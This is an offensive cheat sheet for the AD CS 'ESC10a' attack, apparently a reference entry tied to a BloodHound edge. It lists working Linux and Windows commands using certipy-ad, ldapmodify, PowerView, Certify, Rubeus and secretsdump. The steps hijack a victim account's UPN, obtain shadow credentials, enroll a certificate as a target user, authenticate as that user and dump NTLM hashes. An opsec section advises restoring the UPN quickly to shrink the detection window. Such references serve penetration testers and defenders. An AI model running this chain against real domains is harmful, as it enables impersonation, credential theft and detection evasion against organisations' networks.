ADCSESC10a

ESC10a: Weak certificate mapping (StrongCertificateBindingEnforcement = 0 or 1) + GenericWrite on a user account β€” change victim's UPN to match a target user, enroll a cert, reset UPN, authenticate as target (no SID required in cert because mapping is weak).

Applies to: Principals with GenericWrite on a user account β†’ any Client Auth template β†’ DC with StrongCertificateBindingEnforcement disabled/compatibility mode (registry value 0 or 1)


Linux Abuse

certipy-ad

# Step 1: Verify weak cert mapping on DC
# (StrongCertificateBindingEnforcement = 0 or 1 in HKLM\SYSTEM\CurrentControlSet\Services\Kdc)
# Check via certipy find or BloodHound ADCSESC10a edge

certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout

# Step 2: Change victim's UPN to target user's UPN
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -user <victim-user> -upn <target-user>@<domain>

# Step 3: Check/set mail attribute if template requires it
ldapsearch -x -D '<attacker-dn>' -w '<password>' -h <dc-ip> -b '<victim-dn>' mail

echo -e "dn: <victim-dn>\nchangetype: modify\nreplace: mail\nmail: test@mail.com" \
  | ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>

# Step 4: Get victim credentials (shadow creds / password reset)
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -account <victim-user>
# Note victim hash

# Step 5: Enroll cert as victim (UPN = target)
certipy-ad req -u <victim-user>@<domain> -hashes ':<victim-ntlm>' -dc-ip <dc-ip> \
  -ca '<ca>' -target <ca-host> -template '<template>'
# Output: <target-user>.pfx

# Step 6: Restore victim's UPN immediately
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -user <victim-user> -upn <victim-user>@<domain>

# Step 7: Authenticate as target user
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip> -ldap-shell
# Or standard auth:
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>

# Step 8: PTH
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'

Windows Abuse

Certify.exe (Windows executable) + PowerView

# Step 1: Record victim's current UPN
Get-DomainObject -Identity <victim-user> -Properties userprincipalname

# Step 2: Modify victim UPN to target
Set-DomainObject -Identity <victim-user> -Set @{'userprincipalname'='<target-user>@<domain>'}

# Step 3: Set mail if required
Set-DomainObject -Identity <victim-user> -Set @{'mail'='dummy@mail.com'}
# Step 4: Enroll cert (Certipy Windows exe or Certify)
Certipy.exe req -u <victim-user>@<domain> -p '<victim-password>' -dc-ip <dc-ip> \
  -ca '<ca>' -target <ca-host> -template '<template>'
# Or:
# Certify.exe request /ca:<ca-host>\<ca> /template:<template>

# Step 5: Reset UPN
Certipy.exe account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -user <victim-user> -upn <victim-user>@<domain>

# Step 6: Authenticate
Certipy.exe auth -pfx <target-user>.pfx -dc-ip <dc-ip> -ldap-shell
# Alternative: Rubeus TGT
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /ptt
klist

Opsec

  • UPN changes logged as Event ID 4738 (user account changed).
  • Restore UPN immediately β€” the window between UPN change and cert enrollment is the detection opportunity.
  • Works only while StrongCertificateBindingEnforcement is 0 (disabled) or 1 (compatibility); patched DCs in enforcement mode (2) will reject the cert.
  • CA retains issued cert with victim account as requester and target UPN as subject.